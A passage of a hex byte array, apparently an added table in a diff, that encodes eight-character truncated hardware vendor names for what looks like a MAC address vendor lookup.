0x4f, 0x70, 0x74, +0x49, 0x70, 0x6d, 0x2d, 0x4e, 0x65, 0x74, 0x53, +0x49, 0x74, 0x72, 0x61, 0x6e, 0x43, 0x6f, 0x6d, +0x49, 0x63, 0x68, 0x69, 0x70, 0x73, 0x00, 0x00, +0x53, 0x79, 0x61, 0x62, 0x61, 0x73, 0x54, 0x65, +0x41, 0x74, 0x54, 0x4c, 0x61, 0x62, 0x6f, 0x72, +0x46, 0x6c, 0x61, 0x73, 0x68, 0x54, 0x65, 0x63, +0x41, 0x69, 0x64, 0x6f, 0x6e, 0x69, 0x63, 0x00, +0x4d, 0x61, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x54, 0x72, +0x43, 0x65, 0x65, 0x6d, 0x61, 0x78, 0x54, 0x65, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x69, 0x74, 0x61, +0x43, 0x69, 0x74, 0x65, 0x6c, 0x54, 0x65, 0x63, +0x46, 0x75, 0x6a, 0x69, 0x61, 0x6e, 0x4e, 0x65, +0x44, 0x6f, 0x6e, 0x67, 0x79, 0x61, 0x6e, 0x67, +0x42, 0x69, 0x74, 0x42, 0x6c, 0x69, 0x74, 0x7a, +0x4f, 0x70, 0x74, 0x69, 0x63, 0x61, 0x6c, 0x4e, +0x49, 0x6e, 0x74, 0x69, 0x6d, 0x65, 0x00, 0x00, +0x45, 0x6c, 0x7a, 0x65, 0x74, 0x38, 0x30, 0x4d, +0x47, 0x6c, 0x6f, 0x62, 0x61, 0x6c, 0x44, 0x61, +0x48, 0x61, 0x72, 0x72, 0x69, 0x73, 0x00, 0x00, +0x49, 0x6e, 0x61, 0x72, 0x61, 0x4e, 0x65, 0x74, +0x53, 0x68, 0x65, 0x6e, 0x79, 0x61, 0x6e, 0x67, +0x4d, 0x61, 0x78, 0x78, 0x61, 0x6e, 0x00, 0x00, +0x4f, 0x70, 0x74, 0x69, 0x6c, 0x6c, 0x69, 0x6f, +0x50, 0x6c, 0x61, 0x74, 0x79, 0x73, 0x43, 0x6f, +0x41, 0x63, 0x63, 0x65, 0x6c, 0x69, 0x67, 0x68, +0x50, 0x72, 0x69, 0x6d, 0x65, 0x45, 0x6c, 0x65, +0x42, 0x6f, 0x65, 0x69, 0x6e, 0x67, 0x00, 0x00, +0x4d, 0x69, 0x74, 0x73, 0x75, 0x69, 0x5a, 0x6f, +0x49, 0x70, 0x53, 0x71, 0x75, 0x61, 0x72, 0x65, +0x48, 0x69, 0x74, 0x61, 0x63, 0x68, 0x69, 0x50, +0x46, 0x6e, 0x65, 0x74, 0x00, 0x00, 0x00, 0x00, +0x43, 0x6f, 0x6d, 0x6a, 0x65, 0x74, 0x49, 0x6e, +0x41, 0x6d, 0x62, 0x72, 0x61, 0x64, 0x6f, 0x00, +0x53, 0x68, 0x65, 0x62, 0x61, 0x00, 0x00, 0x00, +0x5a, 0x65, 0x74, 0x74, 0x61, 0x6d, 0x65, 0x64, +0x56, 0x61, 0x72, 0x69, 0x61, 0x6e, 0x4d, 0x65, +0x43, 0x73, 0x65, 0x65, 0x54, 0x72, 0x61, 0x6e, +0x45, 0x6e, 0x64, 0x72, 0x65, 0x73, 0x73, 0x48, +0x53, 0x61, 0x6e, 0x72, 0x69, 0x74, 0x7a, 0x00, +0x49, 0x6e, 0x74, 0x65, 0x72, 0x61, 0x6c, 0x69, +0x42, 0x69, 0x74, 0x72, 0x61, 0x67, 0x65, 0x00, +0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x73, 0x74, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x6d, 0x41, 0x75, +0x4e, 0x6f, 0x76, 0x61, 0x62, 0x61, 0x73, 0x65, +0x53, 0x76, 0x61, 0x2d, 0x49, 0x6e, 0x74, 0x72, +0x43, 0x69, 0x73, 0x63, 0x6f, 0x32, 0x35, 0x31, +0x46, 0x75, 0x6a, 0x61, 0x6e, 0x74, 0x00, 0x00, +0x41, 0x64, 0x61, 0x78, 0x00, 0x00, 0x00, 0x00, +0x41, 0x63, 0x74, 0x65, 0x72, 0x6e, 0x61, 0x00, +0x4a, 0x61, 0x6c, 0x49, 0x6e, 0x66, 0x6f, 0x72, +0x49, 0x70, 0x4f, 0x6e, 0x65, 0x00, 0x00, 0x00, +0x42, 0x72, 0x69, 0x67, 0x68, 0x74, 0x63, 0x6f, +0x47, 0x65, 0x6e, 0x65, 0x72, 0x61, 0x6c, 0x52, +0x4a, 0x53, 0x4d, 0x61, 0x72, 0x69, 0x6e, 0x65, +0x57, 0x69, 0x65, 0x6c, 0x61, 0x6e, 0x64, 0x45, +0x49, 0x63, 0x61, 0x6e, 0x74, 0x65, 0x6b, 0x00, +0x4d, 0x6f, 0x62, 0x69, 0x69, 0x73, 0x00, 0x00, +0x46, 0x69, 0x6e, 0x65, 0x64, 0x69, 0x67, 0x69, +0x43, 0x64, 0x76, 0x69, 0x41, 0x6d, 0x65, 0x72, +0x41, 0x74, 0x26, 0x54, 0x00, 0x00, 0x00, 0x00, +0x53, 0x61, 0x74, 0x65, 0x6c, 0x73, 0x61, 0x53, +0x54, 0x72, 0x69, 0x2d, 0x4d, 0x45, 0x6e, 0x67, +0x45, 0x75, 0x72, 0x6f, 0x70, 0x65, 0x61, 0x6e, +0x54, 0x72, 0x75, 0x74, 0x7a, 0x73, 0x63, 0x68, +0x46, 0x6f, 0x72, 0x6d, 0x61, 0x63, 0x45, 0x6c, +0x4e, 0x69, 0x65, 0x6c, 0x73, 0x65, 0x6e, 0x00, +0x45, 0x6c, 0x63, 0x6f, 0x6e, 0x53, 0x79, 0x73, +0x54, 0x65, 0x6c, 0x65, 0x6d, 0x61, 0x78, 0x00, +0x42, 0x65, 0x6d, 0x61, 0x74, 0x65, 0x63, 0x68, +0x5a, 0x69, 0x48, 0x6b, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x6f, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x4b, 0x69, 0x73, 0x74, 0x6c, 0x65, 0x72, 0x49, +0x49, 0x6e, 0x6e, 0x6f, 0x76, 0x61, 0x6e, 0x63, +0x4a, 0x75, 0x6e, 0x67, 0x4d, 0x79, 0x75, 0x6e, +0x46, 0x61, 0x62, 0x72, 0x69, 0x63, 0x6f, 0x6d, +0x43, 0x6e, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x4e, 0x6f, 0x72, 0x74, 0x68, 0x4e, 0x6f, 0x64, +0x49, 0x6e, 0x74, 0x72, 0x61, 0x6e, 0x73, 0x61, +0x48, 0x75, 0x74, 0x63, 0x68, 0x69, 0x73, 0x6f, +0x4f, 0x70, 0x68, 0x69, 0x72, 0x2d, 0x53, 0x70, +0x41, 0x61, 0x65, 0x6f, 0x6e, 0x54, 0x65, 0x63, +0x44, 0x61, 0x6e, 0x63, 0x6f, 0x6e, 0x74, 0x72, +0x4f, 0x6e, 0x73, 0x74, 0x6f, 0x72, 0x00, 0x00, +0x46, 0x6c, 0x61, 0x72, 0x69, 0x6f, 0x6e, 0x54, +0x44, 0x61, 0x74, 0x61, 0x56, 0x69, 0x64, 0x65, +0x53, 0x6f, 0x72, 0x69, 0x79, 0x61, 0x00, 0x00, +0x59, 0x6f, 0x75, 0x6e, 0x67, 0x54, 0x65, 0x63, +0x53, 0x63, 0x6f, 0x74, 0x74, 0x79, 0x47, 0x72, +0x49, 0x6e, 0x76, 0x65, 0x6e, 0x74, 0x65, 0x6c, +0x54, 0x65, 0x6e, 0x6f, 0x76, 0x69, 0x73, 0x00, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x44, +0x4e, 0x61, 0x6e, 0x6a, 0x69, 0x6e, 0x67, 0x50, +0x43, 0x68, 0x69, 0x6e, 0x61, 0x47, 0x72, 0x65, +0x57, 0x6f, 0x6f, 0x6a, 0x79, 0x75, 0x6e, 0x53, +0x42, 0x75, 0x66, 0x66, 0x61, 0x6c, 0x6f, 0x00, +0x53, 0x69, 0x65, 0x72, 0x72, 0x61, 0x41, 0x75, +0x4f, 0x72, 0x6d, 0x61, 0x7a, 0x61, 0x62, 0x61, +0x43, 0x68, 0x65, 0x6c, 0x73, 0x69, 0x6f, 0x43, +0x55, 0x6e, 0x69, 0x63, 0x6f, 0x00, 0x00, 0x00, +0x52, 0x61, 0x64, 0x6c, 0x61, 0x6e, 0x43, 0x6f, +0x54, 0x75, 0x72, 0x63, 0x6b, 0x00, 0x00, 0x00, +0x4d, 0x65, 0x63, 0x61, 0x6c, 0x63, 0x00, 0x00, +0x49, 0x6d, 0x61, 0x67, 0x69, 0x6e, 0x67, 0x53, +0x43, 0x65, 0x6e, 0x69, 0x78, 0x00, 0x00, 0x00, +0x43, 0x61, 0x72, 0x6c, 0x56, 0x61, 0x6c, 0x65, +0x44, 0x61, 0x69, 0x68, 0x65, 0x6e, 0x00, 0x00, +0x42, 0x65, 0x69, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x49, 0x70, 0x66, 0x72, 0x6f, 0x6e, 0x74, 0x00, +0x4d, 0x2d, 0x55, 0x2d, 0x54, 0x00, 0x00, 0x00, +0x52, 0x68, 0x79, 0x74, 0x68, 0x6d, 0x57, 0x61, +0x42, 0x65, 0x69, 0x6a, 0x69, 0x6e, 0x67, 0x51, +0x58, 0x79, 0x74, 0x65, 0x72, 0x72, 0x61, 0x43, +0x4c, 0x61, 0x66, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x4a, 0x75, 0x79, 0x6f, 0x75, 0x6e, 0x67, 0x54, +0x54, 0x6f, 0x70, 0x63, 0x61, 0x6c, 0x6c, 0x49, +0x44, 0x72, 0x61, 0x67, 0x6f, 0x6e, 0x77, 0x61, +0x42, 0x6f, 0x72, 0x69, 0x73, 0x4d, 0x61, 0x6e, +0x41, 0x69, 0x72, 0x50, 0x72, 0x6f, 0x64, 0x75, +0x47, 0x69, 0x62, 0x73, 0x6f, 0x6e, 0x47, 0x75, +0x45, 0x61, 0x73, 0x74, 0x6d, 0x61, 0x6e, 0x4b, +0x43, 0x65, 0x6c, 0x6c, 0x65, 0x72, 0x69, 0x74, +0x41, 0x6d, 0x65, 0x74, 0x65, 0x6b, 0x50, 0x6f, +0x56, 0x63, 0x73, 0x56, 0x69, 0x64, 0x65, 0x6f, +0x54, 0x6f, 0x6d, 0x69, 0x73, 0x49, 0x6e, 0x66, +0x32, 0x39, 0x35, 0x33, 0x30, 0x00, 0x00, 0x00, +0x47, 0x72, 0x6f, 0x75, 0x70, 0x53, 0x65, 0x6e, +0x53, 0x75, 0x6e, 0x6e, 0x69, 0x77, 0x65, 0x6c, +0x59, 0x6f, 0x75, 0x6e, 0x67, 0x77, 0x6f, 0x6f, +0x4a, 0x61, 0x64, 0x65, 0x51, 0x75, 0x61, 0x6e, +0x43, 0x68, 0x6f, 0x75, 0x43, 0x68, 0x69, 0x6e, +0x59, 0x75, 0x78, 0x69, 0x6e, 0x67, 0x45, 0x6c, +0x44, 0x61, 0x6e, 0x66, 0x6f, 0x73, 0x73, 0x00, +0x49, 0x74, 0x61, 0x6c, 0x69, 0x61, 0x6e, 0x61, +0x4e, 0x65, 0x78, 0x74, 0x65, 0x79, 0x65, 0x00, +0x53, 0x74, 0x72, 0x61, 0x6c, 0x66, 0x6f, 0x72, +0x44, 0x61, 0x65, 0x68, 0x61, 0x6e, 0x65, 0x74, +0x46, 0x6c, 0x65, 0x78, 0x6c, 0x69, 0x67, 0x68, +0x53, 0x69, 0x6e, 0x65, 0x74, 0x69, 0x63, 0x61, +0x53, 0x79, 0x6e, 0x6f, 0x70, 0x74, 0x69, 0x63, +0x55, 0x62, 0x69, 0x71, 0x75, 0x6f, 0x73, 0x73, +0x45, 0x6d, 0x62, 0x65, 0x64, 0x64, 0x65, 0x64, +0x41, 0x6c, 0x63, 0x61, 0x74, 0x65, 0x6c, 0x2d, +0x41, 0x73, 0x63, 0x6f, 0x6d, 0x50, 0x6f, 0x77, +0x47, 0x75, 0x61, 0x6e, 0x67, 0x7a, 0x68, 0x6f, +0x56, 0x61, 0x6c, 0x65, 0x6e, 0x63, 0x65, 0x53, +0x46, 0x65, 0x64, 0x65, 0x72, 0x61, 0x6c, 0x41, +0x4d, 0x6f, 0x74, 0x61, 0x68, 0x00, 0x00, 0x00, +0x47, 0x65, 0x72, 0x73, 0x74, 0x65, 0x6c, 0x00, +0x53, 0x75, 0x6e, 0x67, 0x69, 0x6c, 0x54, 0x65, +0x49, 0x6e, 0x66, 0x6f, 0x77, 0x61, 0x72, 0x65, +0x4d, 0x69, 0x6c, 0x6c, 0x69, 0x6d, 0x65, 0x74, +0x57, 0x65, 0x73, 0x74, 0x65, 0x72, 0x6d, 0x6f, +0x45, 0x6c, 0x72, 0x65, 0x73, 0x74, 0x00, 0x00, +0x4a, 0x43, 0x6f, 0x6d, 0x6d, 0x75, 0x6e, 0x69, +0x42, 0x6c, 0x75, 0x65, 0x67, 0x69, 0x67, 0x61, +0x49, 0x74, 0x72, 0x6f, 0x6e, 0x00, 0x00, 0x00, +0x53, 0x79, 0x6e, 0x63, 0x6f, 0x6d, 0x4e, 0x65, +0x49, 0x64, 0x65, 0x61, 0x53, 0x79, 0x73, 0x74, +0x43, 0x6c, 0x69, 0x70, 0x63, 0x6f, 0x6d, 0x6d, +0x44, 0x6f, 0x6e, 0x67, 0x77, 0x6f, 0x6e, 0x00, +0x4d, 0x65, 0x6e, 0x74, 0x6f, 0x72, 0x44, 0x61, +0x57, 0x65, 0x67, 0x65, 0x6e, 0x65, 0x72, 0x43, +0x45, 0x6c, 0x65, 0x6b, 0x74, 0x72, 0x6f, 0x6e, +0x4e, 0x65, 0x74, 0x65, 0x6e, 0x67, 0x69, 0x6e, +0x47, 0x61, 0x72, 0x7a, 0x46, 0x72, 0x69, 0x63, +0x45, 0x6d, 0x6b, 0x61, 0x79, 0x49, 0x6e, 0x6e, +0x54, 0x72, 0x69, 0x2d, 0x4d, 0x54, 0x65, 0x63, +0x53, 0x74, 0x72, 0x6f, 0x6e, 0x45, 0x6c, 0x00, +0x53, 0x68, 0x69, 0x6e, 0x53, 0x61, 0x74, 0x65, +0x53, 0x69, 0x6d, 0x70, 0x6c, 0x65, 0x44, 0x65, +0x45, 0x6c, 0x69, 0x74, 0x65, 0x67, 0x72, 0x6f, +0x4c, 0x73, 0x69, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x65, 0x74, 0x70, 0x6f, 0x77, 0x65, 0x72, +0x53, 0x65, 0x6c, 0x65, 0x61, 0x53, 0x72, 0x6c, +0x54, 0x69, 0x70, 0x70, 0x69, 0x6e, 0x67, 0x50, +0x56, 0x65, 0x72, 0x69, 0x6e, 0x74, 0x00, 0x00, +0x41, 0x75, 0x72, 0x6f, 0x72, 0x61, 0x4e, 0x65, +0x47, 0x6f, 0x6c, 0x64, 0x65, 0x6e, 0x45, 0x6c, +0x4d, 0x75, 0x73, 0x61, 0x73, 0x68, 0x69, 0x00, +0x49, 0x6c, 0x69, 0x6e, 0x78, 0x00, 0x00, 0x00, +0x41, 0x63, 0x74, 0x69, 0x6f, 0x6e, 0x44, 0x69, +0x45, 0x2d, 0x57, 0x61, 0x74, 0x63, 0x68, 0x00, +0x56, 0x69, 0x61, 0x73, 0x79, 0x73, 0x48, 0x65, +0x4f, 0x70, 0x74, 0x65, 0x6f, 0x6e, 0x00, 0x00, +0x4f, 0x73, 0x69, 0x74, 0x69, 0x73, 0x53, 0x6f, +0x47, 0x6e, 0x4e, 0x65, 0x74, 0x63, 0x6f, 0x6d, +0x59, 0x44, 0x4b, 0x00, 0x00, 0x00, 0x00, 0x00, +0x4c, 0x65, 0x76, 0x69, 0x74, 0x6f, 0x6e, 0x4d, +0x41, 0x2d, 0x5a, 0x00, 0x00, 0x00, 0x00, 0x00, +0x48, 0x61, 0x69, 0x65, 0x72, 0x47, 0x72, 0x6f, +0x4e, 0x6f, 0x76, 0x61, 0x73, 0x6f, 0x6e, 0x69, +0x51, 0x75, 0x61, 0x6e, 0x74, 0x75, 0x6d, 0x44, +0x45, 0x6f, 0x6c, 0x72, 0x69, 0x6e, 0x67, 0x00, +0x50, 0x65, 0x6e, 0x74, 0x61, 0x63, 0x6f, 0x6e, +0x42, 0x72, 0x69, 0x74, 0x65, 0x73, 0x74, 0x72, +0x4f, 0x66, 0x66, 0x69, 0x63, 0x65, 0x44, 0x65, +0x45, 0x71, 0x75, 0x61, 0x74, 0x6f, 0x72, 0x54, +0x54, 0x72, 0x61, 0x6e, 0x73, 0x61, 0x63, 0x63, +0x41, 0x6e, 0x79, 0x4f, 0x6e, 0x65, 0x57, 0x69, +0x54, 0x65, 0x6c, 0x65, 0x63, 0x6f, 0x6d, 0x54, +0x53, 0x61, 0x6d, 0x75, 0x72, 0x61, 0x69, 0x49, +0x43, 0x6f, 0x72, 0x76, 0x61, 0x6c, 0x65, 0x6e, +0x47, 0x69, 0x6e, 0x67, 0x61, 0x6e, 0x65, 0x74, +0x55, 0x74, 0x73, 0x74, 0x61, 0x72, 0x63, 0x6f, +0x43, 0x61, 0x6e, 0x64, 0x65, 0x72, 0x61, 0x00, +0x49, 0x64, 0x65, 0x6e, 0x74, 0x69, 0x78, 0x00, +0x52, 0x61, 0x64, 0x69, 0x6f, 0x6e, 0x65, 0x74, +0x44, 0x61, 0x74, 0x61, 0x6c, 0x6f, 0x67, 0x69, +0x41, 0x72, 0x6d, 0x69, 0x6c, 0x6c, 0x61, 0x69, +0x4e, 0x65, 0x74, 0x7a, 0x65, 0x72, 0x76, 0x65, +0x4e, 0x65, 0x74, 0x73, 0x79, 0x73, 0x54, 0x65, +0x54, 0x68, 0x6f, 0x6d, 0x73, 0x6f, 0x6e, 0x00, +0x4a, 0x65, 0x61, 0x6e, 0x00, 0x00, 0x00, 0x00, +0x47, 0x63, 0x6f, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x56, 0x64, 0x73, 0x56, 0x6f, 0x73, 0x73, 0x6b, +0x53, 0x79, 0x6e, 0x65, 0x63, 0x74, 0x69, 0x63, +0x42, 0x72, 0x61, 0x69, 0x6e, 0x32, 0x31, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x6c, 0x53, +0x43, 0x72, 0x65, 0x61, 0x74, 0x69, 0x78, 0x50, +0x46, 0x72, 0x65, 0x65, 0x62, 0x6f, 0x78, 0x53, +0x4b, 0x61, 0x62, 0x61, 0x42, 0x65, 0x6e, 0x7a, +0x4b, 0x75, 0x6d, 0x6f, 0x68, 0x45, 0x6c, 0x65, +0x43, 0x61, 0x62, 0x6c, 0x65, 0x74, 0x69, 0x6d, +0x41, 0x6e, 0x6f, 0x74, 0x6f, 0x00, 0x00, 0x00, +0x41, 0x75, 0x74, 0x6f, 0x6d, 0x61, 0x74, 0x45, +0x4c, 0x6f, 0x67, 0x6f, 0x70, 0x61, 0x6b, 0x53, +0x53, 0x70, 0x67, 0x70, 0x72, 0x69, 0x6e, 0x74, +0x5a, 0x68, 0x65, 0x6a, 0x69, 0x61, 0x6e, 0x67, +0x33, 0x65, 0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, +0x43, 0x6f, 0x6d, 0x6d, 0x69, 0x6c, 0x00, 0x00, +0x43, 0x61, 0x70, 0x6f, 0x72, 0x69, 0x73, 0x4e, +0x53, 0x70, 0x6c, 0x69, 0x63, 0x65, 0x63, 0x6f, +0x4e, 0x65, 0x75, 0x72, 0x6f, 0x54, 0x65, 0x6c, +0x4b, 0x69, 0x72, 0x61, 0x6e, 0x61, 0x4e, 0x65, +0x41, 0x74, 0x65, 0x6b, 0x00, 0x00, 0x00, 0x00, +0x43, 0x72, 0x61, 0x64, 0x6c, 0x65, 0x54, 0x65, +0x45, 0x63, 0x6f, 0x70, 0x69, 0x6c, 0x74, 0x00, +0x56, 0x62, 0x72, 0x69, 0x63, 0x6b, 0x00, 0x00, +0x50, 0x61, 0x6c, 0x6d, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x73, 0x43, 0x6f, 0x6d, 0x6d, 0x75, +0x42, 0x69, 0x74, 0x77, 0x6f, 0x72, 0x6b, 0x73, +0x4e, 0x61, 0x76, 0x63, 0x6f, 0x6d, 0x54, 0x65, +0x53, 0x6f, 0x66, 0x74, 0x72, 0x61, 0x64, 0x69, +0x43, 0x6f, 0x75, 0x70, 0x00, 0x00, 0x00, 0x00, +0x45, 0x64, 0x67, 0x65, 0x66, 0x6c, 0x6f, 0x77, +0x46, 0x72, 0x65, 0x65, 0x77, 0x61, 0x76, 0x65, +0x45, 0x64, 0x67, 0x65, 0x77, 0x61, 0x76, 0x65, +0x4d, 0x61, 0x73, 0x73, 0x61, 0x6e, 0x61, 0x00, +0x41, 0x6c, 0x74, 0x65, 0x72, 0x61, 0x00, 0x00, +0x54, 0x65, 0x6c, 0x63, 0x6f, 0x49, 0x6e, 0x66, +0x4c, 0x6f, 0x63, 0x6b, 0x68, 0x65, 0x65, 0x64, +0x4c, 0x6f, 0x67, 0x69, 0x73, 0x79, 0x6e, 0x63, +0x54, 0x65, 0x72, 0x61, 0x62, 0x75, 0x72, 0x73, +0x49, 0x6f, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x68, 0x69, 0x6e, 0x6b, 0x65, 0x6e, 0x67, +0x45, 0x6c, 0x65, 0x74, 0x65, 0x78, 0x00, 0x00, +0x42, 0x72, 0x69, 0x64, 0x67, 0x65, 0x63, 0x6f, +0x51, 0x71, 0x65, 0x73, 0x74, 0x53, 0x6f, 0x66, +0x47, 0x61, 0x6c, 0x74, 0x72, 0x6f, 0x6e, 0x69, +0x49, 0x74, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, +0x53, 0x65, 0x6e, 0x73, 0x61, 0x70, 0x68, 0x6f, +0x49, 0x74, 0x74, 0x00, 0x00, 0x00, 0x00, 0x00, +0x47, 0x69, 0x67, 0x61, 0x53, 0x74, 0x72, 0x65, +0x41, 0x64, 0x65, 0x70, 0x74, 0x00, 0x00, 0x00, +0x4c, 0x61, 0x6e, 0x65, 0x72, 0x67, 0x79, 0x00, +0x52, 0x69, 0x67, 0x61, 0x6b, 0x75, 0x00, 0x00, +0x47, 0x6c, 0x75, 0x6f, 0x6e, 0x4e, 0x65, 0x74, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x74, 0x65, 0x63, +0x48, 0x69, 0x67, 0x68, 0x73, 0x70, 0x65, 0x65, +0x43, 0x6f, 0x73, 0x54, 0x72, 0x6f, 0x6e, 0x00, +0x49, 0x63, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, +0x54, 0x65, 0x63, 0x68, 0x6e, 0x6f, 0x2d, 0x48, +0x52, 0x61, 0x6f, 0x6e, 0x65, 0x74, 0x00, 0x00, +0x41, 0x63, 0x63, 0x65, 0x73, 0x73, 0x44, 0x65, +0x50, 0x70, 0x74, 0x56, 0x69, 0x73, 0x69, 0x6f, +0x53, 0x79, 0x73, 0x74, 0x65, 0x6d, 0x6f, 0x6e, +0x45, 0x73, 0x70, 0x65, 0x72, 0x61, 0x2d, 0x57, +0x42, 0x69, 0x72, 0x6b, 0x61, 0x42, 0x70, 0x61, +0x56, 0x64, 0x61, 0x45, 0x6c, 0x65, 0x74, 0x74, +0x50, 0x72, 0x6f, 0x78, 0x69, 0x6d, 0x69, 0x6f, +0x4b, 0x65, 0x79, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x56, 0x6f, 0x69, 0x78, 0x00, 0x00, 0x00, 0x00, +0x47, 0x6d, 0x2d, 0x32, 0x00, 0x00, 0x00, 0x00, +0x44, 0x69, 0x73, 0x6b, 0x62, 0x61, 0x6e, 0x6b, +0x54, 0x69, 0x6c, 0x54, 0x65, 0x63, 0x68, 0x6e, +0x43, 0x61, 0x74, 0x73, 0x00, 0x00, 0x00, 0x00, +0x42, 0x6c, 0x75, 0x65, 0x6c, 0x6f, 0x6e, 0x41, +0x45, 0x6d, 0x65, 0x72, 0x67, 0x65, 0x63, 0x6f, +0x50, 0x69, 0x78, 0x65, 0x6c, 0x77, 0x6f, 0x72, +0x42, 0x61, 0x6e, 0x6b, 0x73, 0x79, 0x73, 0x00, +0x53, 0x61, 0x6e, 0x72, 0x61, 0x64, 0x49, 0x6e, +0x57, 0x69, 0x6e, 0x64, 0x69, 0x67, 0x6f, 0x00, +0x40, 0x50, 0x6f, 0x73, 0x43, 0x6f, 0x6d, 0x00, +0x49, 0x70, 0x73, 0x69, 0x6c, 0x00, 0x00, 0x00, +0x52, 0x65, 0x70, 0x65, 0x61, 0x74, 0x69, 0x74, +0x50, 0x6f, 0x75, 0x59, 0x75, 0x65, 0x6e, 0x54, +0x49, 0x6e, 0x70, 0x72, 0x6f, 0x43, 0x6f, 0x6d, +0x54, 0x65, 0x78, 0x61, 0x00, 0x00, 0x00, 0x00, +0x4e, 0x75, 0x61, 0x6e, 0x63, 0x65, 0x44, 0x6f, +0x41, 0x63, 0x6d, 0x65, 0x50, 0x61, 0x63, 0x6b, +0x43, 0x6f, 0x6c, 0x6f, 0x72, 0x61, 0x64, 0x6f, +0x41, 0x64, 0x62, 0x42, 0x72, 0x6f, 0x61, 0x64, +0x4b, 0x6f, 0x65, 0x69, 0x45, 0x6e, 0x67, 0x69, +0x41, 0x76, 0x61, 0x6c, 0x4e, 0x61, 0x67, 0x61, +0x50, 0x6f, 0x77, 0x65, 0x72, 0x77, 0x61, 0x6c, +0x57, 0x6f, 0x6f, 0x6b, 0x73, 0x75, 0x6e, 0x67, +0x48, 0x6f, 0x6d, 0x61, 0x67, 0x00, 0x00, 0x00, +0x49, 0x6e, 0x64, 0x75, 0x73, 0x54, 0x65, 0x71, +0x4d, 0x75, 0x6c, 0x74, 0x69, 0x74, 0x6f, 0x6e, +0x44, 0x69, 0x76, 0x65, 0x72, 0x67, 0x65, 0x6e, +0x51, 0x75, 0x61, 0x6c, 0x73, 0x74, 0x61, 0x72, +0x41, 0x72, 0x69, 0x7a, 0x6f, 0x6e, 0x61, 0x49, +0x43, 0x61, 0x6e, 0x61, 0x64, 0x69, 0x61, 0x6e, +0x44, 0x61, 0x76, 0x6f, 0x6c, 0x69, 0x6e, 0x6b, +0x53, 0x63, 0x68, 0x6c, 0x65, 0x69, 0x63, 0x68, +0x4e, 0x61, 0x73, 0x61, 0x2d, 0x47, 0x6f, 0x64, +0x47, 0x61, 0x6d, 0x61, 0x74, 0x72, 0x6f, 0x6e, +0x50, 0x6f, 0x6c, 0x61, 0x72, 0x69, 0x73, 0x4e, +0x4e, 0x6f, 0x76, 0x61, 0x74, 0x65, 0x63, 0x68, +0x49, 0x6e, 0x74, 0x69, 0x67, 0x61, 0x74, 0x65, +0x48, 0x61, 0x6e, 0x62, 0x69, 0x74, 0x45, 0x6c, +0x41, 0x61, 0x73, 0x74, 0x72, 0x61, 0x00, 0x00, +0x50, 0x63, 0x6f, 0x00, 0x00, 0x00, 0x00, 0x00, +0x50, 0x69, 0x63, 0x61, 0x6e, 0x6f, 0x6c, 0x4e, +0x4c, 0x6f, 0x64, 0x67, 0x65, 0x6e, 0x65, 0x74, +0x53, 0x6f, 0x66, 0x74, 0x65, 0x6e, 0x65, 0x72, +0x4e, 0x65, 0x63, 0x45, 0x6c, 0x75, 0x6d, 0x69, +0x45, 0x6e, 0x74, 0x72, 0x69, 0x73, 0x70, 0x68, +0x46, 0x61, 0x73, 0x79, 0x53, 0x50, 0x41, 0x00, +0x4a, 0x61, 0x73, 0x63, 0x6f, 0x6d, 0x00, 0x00, +0x44, 0x73, 0x78, 0x41, 0x63, 0x63, 0x65, 0x73, +0x55, 0x70, 0x74, 0x69, 0x6d, 0x65, 0x44, 0x65, +0x50, 0x75, 0x72, 0x6f, 0x70, 0x74, 0x69, 0x78, +0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x2d, +0x53, 0x65, 0x63, 0x75, 0x72, 0x69, 0x74, 0x6f, +0x4d, 0x69, 0x70, 0x73, 0x79, 0x73, 0x00, 0x00, +0x50, 0x6c, 0x61, 0x73, 0x6d, 0x6f, 0x6e, 0x4c, +0x4d, 0x69, 0x73, 0x73, 0x6f, 0x75, 0x72, 0x69, +0x48, 0x79, 0x67, 0x6c, 0x6f, 0x00, 0x00, 0x00, +0x52, 0x61, 0x73, 0x76, 0x69, 0x61, 0x00, 0x00, +0x4e, 0x6f, 0x72, 0x74, 0x68, 0x64, 0x61, 0x74, +0x53, 0x6f, 0x72, 0x65, 0x6e, 0x73, 0x6f, 0x6e, +0x44, 0x61, 0x70, 0x74, 0x65, 0x63, 0x68, 0x6e, +0x41, 0x63, 0x6f, 0x72, 0x70, 0x45, 0x6c, 0x65, +0x53, 0x64, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6d, +0x4c, 0x69, 0x65, 0x62, 0x65, 0x72, 0x74, 0x2d, +0x42, 0x65, 0x6e, 0x63, 0x68, 0x6d, 0x61, 0x72, +0x43, 0x65, 0x6d, 0x00, 0x00, 0x00, 0x00, 0x00, +0x57, 0x69, 0x70, 0x6f, 0x74, 0x65, 0x63, 0x00, +0x52, 0x74, 0x78, 0x54, 0x65, 0x6c, 0x65, 0x63, +0x42, 0x6f, 0x6e, 0x45, 0x6c, 0x65, 0x63, 0x74, +0x53, 0x70, 0x61, 0x75, 0x6e, 0x45, 0x6c, 0x65, +0x42, 0x72, 0x6f, 0x61, 0x64, 0x74, 0x65, 0x6c, +0x44, 0x69, 0x67, 0x69, 0x74, 0x61, 0x6c, 0x48, +0x49, 0x6e, 0x64, 0x65, 0x78, 0x42, 0x72, 0x61, +0x45, 0x6d, 0x73, 0x44, 0x72, 0x54, 0x68, 0x6f, +0x48, 